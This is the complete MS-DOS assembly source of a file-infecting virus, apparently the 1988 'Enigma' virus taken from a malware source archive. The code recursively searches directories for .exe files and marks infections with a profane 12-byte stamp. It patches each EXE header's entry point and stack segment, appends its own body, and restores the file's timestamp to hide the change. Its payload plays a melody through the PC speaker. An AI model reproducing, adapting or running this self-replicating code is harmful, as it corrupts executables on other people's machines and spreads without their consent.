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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.enigma.asm

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2021-01-12 23:41:47 +00:00
.MODEL SMALL
.CODE
comment /
Good luck!
Vladimir Botchev, CICT-BAS, december 1988
/
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;needed for the matching procedure
infected dw 00h ;A very useful flag
help_flag dw 00h ;These two flags are needed to
where_from_flag dw 00h ;determine if virus is free running
;or from an infected program
;therefore it's very important
;that where_from_flag value
;is set to zero at assembly time
handle dw ?
ip_old dw ? ;old instruction pointer
cs_old dw ? ;old value of code segment
ss_old dw ?
far_push dw ?
save_push dw ?
buffer1 db '\',63 dup (?)
virus_stamp db 'motherfucker' ;Very hard to obtain in
;a random way
buffer2 db 2b0h dup (?)
new_area db 64 dup (?)
new_data db 64 dup (?)
pointer1 dw ?
pointer2 dw ?
pointer3 dw ?
pointer4 dw ?
pointer5 dw ?
pointer6 dw ?
pointer7 dw ?
pointer8 dw ?
data_area ends
org 100h ;Defined for .com file as virus must
;be able to run on itself
start: call setup_data ;This is a near call therefore it's a
;three byte instruction.It's purpose is
;to catch correct data area address
;even when virus is appended to the
;infected .exe program
adjust equ offset pgm_start ;Known offset value
pgm_start label word ;
virussize equ 2793
work: mov ax,ds ;Save old DS
push cs
pop ds ;Update to needed DS value
mov si,offset buffer.DS_save ;Put old DS in a quiet place
sub si,adjust
add si,bx
mov [si],ax
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
sub si,adjust
add si,bx
mov ax,es
mov [si],ax
push cs ;Imperative because DI usage
pop es
push bx ;It's imperative to always keep
;this value unchanged
mov ax,2f00h ;Get DTA function call
int 21h
mov cx,bx ;save address found
pop bx
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov [si],cx
add si,2 ;Locate the segment immediately above
mov ax,es
mov [si],ax
push cs
pop es
mov di,offset buffer.buffer1 ;adjust for first search
inc di ;Jump over the '\'
sub di,adjust
add di,bx
mov dx,0000h
push bx
call search_exe
pop bx
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
cmp word ptr [si],0000h
jnz infected_run
int 020H
infected_run:
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov dx,[si]
push ds
mov ax,[si+2]
mov ds,ax
push bx
mov ax,1a00h
int 21h
pop bx
pop ds ;Restore original DTA
mov si,offset buffer.ES_save
sub si,adjust
add si,bx
mov ax,[si]
mov es,ax ;Restore ES
;Here you can do whatever you want
push bx
call mary_proc
pop bx
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.far_push ;Restore original code
sub si,adjust ;segment
add si,bx
mov cx,[si]
push ax
mov ax,cs
sub ax,cx
mov di,ax ;For stack
add dx,ax
pop ax
mov si,offset buffer.SS_save
sub si,adjust ;Restore stack segment
add si,bx
mov cx,word ptr [si]
add cx,di
push es
pop ds
cli
mov ss,cx
sti
push dx
push ax
retf
search_exe PROC
push si
push dx
call transfer_filespec ;transfer filename in another
;working area
call find_first ;try to find a first match
jc not_here ;first match not found
call try_to_infect ;if found try to infect
;infected != 0 if success
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit
try_next:
call find_next ;If infection was not succesful
;try once more
jc not_here
call try_to_infect ;If match found try to infect
mov si,offset buffer.infected ;again
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit ;quiet exit simply jumps
;to a return instruction
not_here:
pop dx ;If first searches are
push dx ;unsuccesful try a '*.*' match
call search_all
call find_first
jnc attribute_test ;i.e. expect probably to
;find a subdirectory
quiet_exit:
pop dx
pop si
ret
attribute_test:
mov si,dx ;offset of DTA
test byte ptr [si+015h],010h ;where attribute byte is to
;be found.Try first with
;subdirectory attribute
jne dir_found ;subdirectory found
more_tries:
call find_next ;Since the search was initiated
;with '*.*' if this is not a
;directory try to found one
jc quiet_exit ;No sense to search more
test byte ptr [si+015h],010h
jz more_tries ;Search to the end
dir_found:
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
;mark '.'
jz more_tries ;looking for files no
;subdirectories
call dta_compute ;Valid entry, now set some DTA
;and continue to search
push ax
mov ah,01Ah ;Set DTA function call
int 021h
pop ax
push si
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
pop si
jnz quiet_exit
jmp more_tries
search_exe ENDP
dta_compute PROC
push di ;Save some registers
push si
push ax
push bx
cld ;Up count for SI,DI pair
mov si,dx ;DTA address to SI
add si,01EH ;and add subdirectory
;name offset
store_loop:
lodsb
stosb
or al,al
jne store_loop ;store loop
std
stosb
mov al,05Ch ;Put in place the path name
;constructor
stosb
add di,2 ;Adjust di for new searches
call search_exe ;
;a heavily recursion
;
pop bx ;some cleanup and exit
;
pop ax
pop si
pop di
ret
dta_compute ENDP
try_to_infect PROC
push ax
push bx
push cx
push dx
push si
push di
push es
push bx
mov ax,2f00h ;Get DTA function call
int 21h
mov ax,bx
pop bx
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov [si],ax ;Offset saved
add si,2
mov ax,es
mov [si],ax
pop es ;Segment located just above
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
push bx
mov ax,1a00h
int 21h ;Set DTA function call
pop bx ;It's very important to
;save BX in all calls
mov di,offset buffer.new_area
mov si,offset buffer.buffer1
sub di,adjust
sub si,adjust
add di,bx
add si,bx
cld ;Move previously found path-
;name or filename to new
;data area
move_path:
lodsb
stosb
or al,al
jnz move_path
std ;adjust DI to recieve
mov al,'\' ;filename.
mov cx,0040h
std ;Search backward
repne scasb
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov ax,[si]
mov si,ax
add di,2
o_kay:
add si,001eh ;The beginning of the
;filename...
cld ;Now move name
move_fnm:
lodsb
stosb
or al,al
jnz move_fnm
push dx
push bx
mov dx,offset buffer.new_area
sub dx,adjust
add dx,bx
mov ax,3d02h ;Open file with handle
;for read/write
int 21h
pop bx
pop dx
jnc go_ahead ;In case file cannot be opened
jmp error_exit
go_ahead:
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov [si],ax ;Save handle
push bx
mov bx,ax ;Prepare for lseek
push dx
mov cx,0000h ;Look at the end of the file
mov dx,0000h ;Offset of -12 from the end
;of the file
mov ax,4202h ;Lseek function call
int 21h
mov cx,dx
pop dx
pop bx
jnc compute_length
jmp close_error
compute_length:
sub ax,000ch
sbb cx,0000h ;Exact position
save_offset: ;
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov [si],ax
add si,2
mov [si],cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov dx,ax
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
jnc set_buffer
jmp close_error
set_buffer:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,000ch
mov ax,3f00h
int 21h ;Read function call
pop dx
pop bx
jnc read_ok
jmp close_error
read_ok:
mov si,offset buffer.virus_stamp
mov di,offset buffer.new_data
sub si,adjust
sub di,adjust
add si,bx
add di,bx
mov cx,12 ;Length of strings to
;compare
repe cmpsb
pushf
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],0000h
popf
jnz infect_it
close_error:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push bx
mov bx,[si]
mov ax,3e00h ;Close file function call
int 21h
pop bx
jmp error_exit
infect_it:
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],7777h
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
mov ax,[si]
sub si,2
mov [si],ax ;This code effectively moves
;where_from_flag into help_flag
add si,2
mov [si],5a5ah ;Ready to infect
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
jnc set_new_data
jmp append_ok
set_new_data:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,001bh ;Read formatted exe header
mov ax,3f00h
int 21h ;Read function call
pop dx
pop bx
jnc read_header
jmp append_ok
read_header:
nop ;some code to modify header
;
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov ax,[si]
add si,2
add ax,0ch
adc word ptr [si],0000h
sub si,2
mov [si],ax ;This code restores original
;filelength
mov si,offset buffer.new_data
sub si,adjust
add si,bx
mov ax,[si]
cmp ax,5a4dh ;check for valid exe file
jz valid_exe
jmp append_ok
valid_exe:
mov ax,[si+8] ;Load module size
xor dx,dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 16
push ax
push dx ;Adjust new size
push cx
mov dx,virussize-896+64
push dx
mov cx,0009h
shr dx,cl
add word ptr [si+4],dx
pop dx
and dx,01ffh
add dx,word ptr [si+2]
cmp dx,512
jl adjust_okay
sub dx,512
inc word ptr [si+4]
adjust_okay:
mov word ptr [si+2],dx
pop cx
pop dx
pop ax
push si ;This SI is very useful so save it
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
sub [si],ax
mov ax,[si]
sbb [si+2],dx
mov dx,[si+2] ;the byte size of the load module
pop si
push ax
push dx
mov ax,[si+14h]
mov dx,[si+16h] ;Get CS:IP value
mov cx,[si+0eh] ;Get SS value
push si
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
xchg [si],ax
xchg [si+2],dx
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
xchg [si],cx
mov si,offset buffer.ip_old
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov [si],cx
pop si
pop dx
pop ax
push ax
push dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 16
mov cx,0008h
shl dx,cl
mov cx,0004h
shr ax,cl ;A very obscure algorithm to make
;a segment:offset pair
mov [si+14h],ax
mov [si+16h],dx ;Infected values
push si
mov si,offset buffer.far_push
sub si,adjust
add si,bx
xchg [si],dx
mov word ptr [si+2],dx
pop si
pop dx
pop ax
add ax,virussize ;
adc dx,0000h
mov cx,0003h
mul_loop:
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 4096
loop mul_loop
or ax,ax
jz exact_value
inc dx
exact_value:
mov [si+0eh],dx ;Infected stack segment
;Write back infected header
push si
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5700h ;Get time function
int 21h
pop bx
pop si
jnc correct_time
jmp append_ok1
correct_time:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
pop cx
jnc continue_infection
jmp append_ok1
continue_infection:
push cx
push dx
push bx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,001bh ;Write infected exe header
mov ax,4000h
int 21h ;Write function call
pop bx
pop dx
pop cx
jnc glue_virus
jmp append_ok1
glue_virus:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4202h ;From the end of file
int 21h ;Lseek function call
pop dx
pop bx
pop cx
jnc write_data
jmp append_ok1
write_data:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push dx
push cx
mov dx,bx
sub dx,3 ;The starting three byte
;call instruction
push es
push bx
push dx
push si
mov ax,2f00h
int 21h
pop si
pop dx
push es
push bx
push si
mov ax,1a00h
int 21h
pop si
mov bx,[si] ;Load handle
mov cx,virussize-896+64 ;Length of virus obtained
mov ax,4000h ;with dir
int 21h
lahf ;Write function call
pop bx
pop es
push ds
push es
pop ds
mov dx,bx
push ax
mov ax,1a00h
int 21h
pop ax
pop ds
pop bx
pop es
pop cx
pop dx
sahf
jnc put_stamp ;Error or not file
jmp append_ok1 ;is closed
put_stamp:
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5701h ;Set time function
int 21h
pop bx
append_ok1:
mov si,offset buffer.ip_old ;Restore previous CS:IP values
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.save_push
sub si,adjust
add si,bx
mov ax,[si]
mov word ptr [si-2],ax
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov ax,[si]
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
mov word ptr [si],ax
append_ok:
mov si,offset buffer.help_flag
sub si,adjust
add si,bx
mov ax,[si]
add si,2
mov [si],ax ;This code effectively moves
;help_flag into where_from_flag
jmp close_error ;
error_exit:
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov dx,[si] ;Restore original DTA
add si,2
mov ax,[si]
push ds
mov ds,ax
mov ax,1a00h ;Set DTA function call
int 21h
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
try_to_infect ENDP
transfer_filespec PROC
push si
mov si,offset buffer.filematch ;Transfer name to the working
;area
sub si,adjust
add si,bx
call byte_move
pop si
ret
transfer_filespec ENDP
search_all PROC
push si
mov si,offset buffer.matchall ;This is the '*.*' filename
sub si,adjust
add si,bx
call byte_move
pop si
ret
search_all ENDP
byte_move PROC
push ax
push di
cld
move_loop:
lodsb
stosb
or al,al ;The string to move is ASCIIZ
jne move_loop
pop di
pop ax
ret
byte_move ENDP
find_first PROC
push cx
push bx
cmp dx,0000h
jnbe over_set
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
sub dx,adjust ;or Disk Transfer area
add dx,bx ;
over_set:
add dx,02Bh
mov cx,00010h ;Attribute byte for
;directory search
mov ah,01ah
int 021h ;Set DTA function call
pop bx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov ah,04eh ;find first
;function call
int 021h
pop dx
pop bx
pop cx
ret
find_first ENDP
find_next PROC
push cx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov cx,00010h
mov ah,04fh ;Find next function call
int 021h
pop dx
pop bx
pop cx
ret
find_next ENDP
delay PROC
push ax
push bx
push cx
push dx
mov ah,2ch ;Read current time
int 21h
mov ah,ch
add al,cl
add bh,dh
add bl,dl
cmp bl,100
jb secs
sub bl,100
inc bh
secs: cmp bh,60
jb mins
sub bh,60
inc al
mins: cmp al,60
jb hours
sub al,60
inc ah
hours: cmp ah,24
jne tcheck
sub ah,ah
tcheck: push ax
mov ah,2ch
int 21h
pop ax
cmp cx,ax
ja tdquit
jb tcheck
cmp dx,bx
jb tcheck
tdquit: pop dx
pop cx
pop bx
pop ax
ret
delay ENDP
sound PROC
push ax
push cx
push dx
push di
mov al,0b6h
out 43h,al
mov dx,14h
mov ax,533h*896
div di
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,3
out 61h,al
mov al,cl
call delay
mov al,ah
out 61h,al
pop di
pop dx
pop cx
pop ax
ret
sound ENDP
music_play PROC
push bx
push cx
push di
push si
push bp
freq:
mov di,[si]
cmp di,0ffffh
je end_play
mov bl,ds:[bp]
sub cl,cl
sub bh,bh
call sound
add si,2
inc bp
jnz freq
end_play:
pop bp
pop si
pop di
pop cx
pop bx
ret
music_play ENDP
mary_proc PROC
push bx
push bp
mov si,offset mary_freq
mov bp,offset mary_time
sub si,adjust
sub bp,adjust
add si,bx
add bp,bx
call music_play
pop bp
pop bx
ret
mary_proc ENDP
mary_freq dw 262,262,293,329,262,329,293,196
dw 262,262,293,329,262,262
dw 262,262,293,329,349,329,293,262
dw 246,196,220,246,262,262
dw 220,246,220,174,220,246,262,220
dw 196,220,196,174,164,174,196
dw 220,246,220,174,220,246,262,220
dw 196,262,246,293,262,262,0ffffh
mary_time db 8 dup(25)
db 4 dup(25), 50, 50
db 8 dup(25)
db 4 dup(25), 50, 50
db 26, 25, 26, 5 dup(25)
db 26, 25, 26, 3 dup(25), 30
db 26, 25, 26, 4 dup(25), 30
db 4 dup(25), 50, 50
setup_data:
cli
pop bx ;This will catch instruction pointer
push bx
sti ;value and after that restore stack
ret ;pointer value
buffer data_area <> ;Reseve data_area space
END start
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